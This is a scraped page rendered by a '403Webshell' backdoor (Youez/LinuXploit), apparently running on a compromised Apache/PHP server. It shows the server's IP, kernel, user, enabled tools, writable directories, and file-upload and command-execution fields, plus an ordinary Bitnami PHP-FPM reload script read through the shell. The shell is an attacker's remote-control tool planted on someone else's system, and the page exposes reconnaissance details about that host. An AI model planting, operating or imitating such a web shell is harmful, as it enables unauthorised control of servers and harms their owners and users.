403Webshell
Server IP : 52.25.153.185  /  Your IP : 216.73.217.131
Web Server : Apache
System : Linux ip-172-26-6-158 5.10.0-35-cloud-amd64 #1 SMP Debian 5.10.237-1 (2025-05-19) x86_64
User : daemon ( 1)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/scripts/php/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/scripts/php/reload.sh
#!/bin/bash

# shellcheck disable=SC1090,SC1091

set -o errexit
set -o nounset
set -o pipefail
# set -o xtrace # Uncomment this line for debugging purpose

# Load libraries
. /opt/bitnami/scripts/libphp.sh
. /opt/bitnami/scripts/liblog.sh
. /opt/bitnami/scripts/libwebserver.sh

# Load PHP-FPM environment
. /opt/bitnami/scripts/php-env.sh

# Load web server environment and functions
. "/opt/bitnami/scripts/$(web_server_type)-env.sh"

error_code=0

if is_php_fpm_enabled; then
    if is_php_fpm_not_running; then
        error "php-fpm is not running"
        error_code=1
    else
        info "** Reloading PHP-FPM configuration **"
        php_fpm_reload
    fi
else
    web_server_reload
fi

exit "$error_code"

Youez - 2016 - github.com/yon3zu
LinuXploit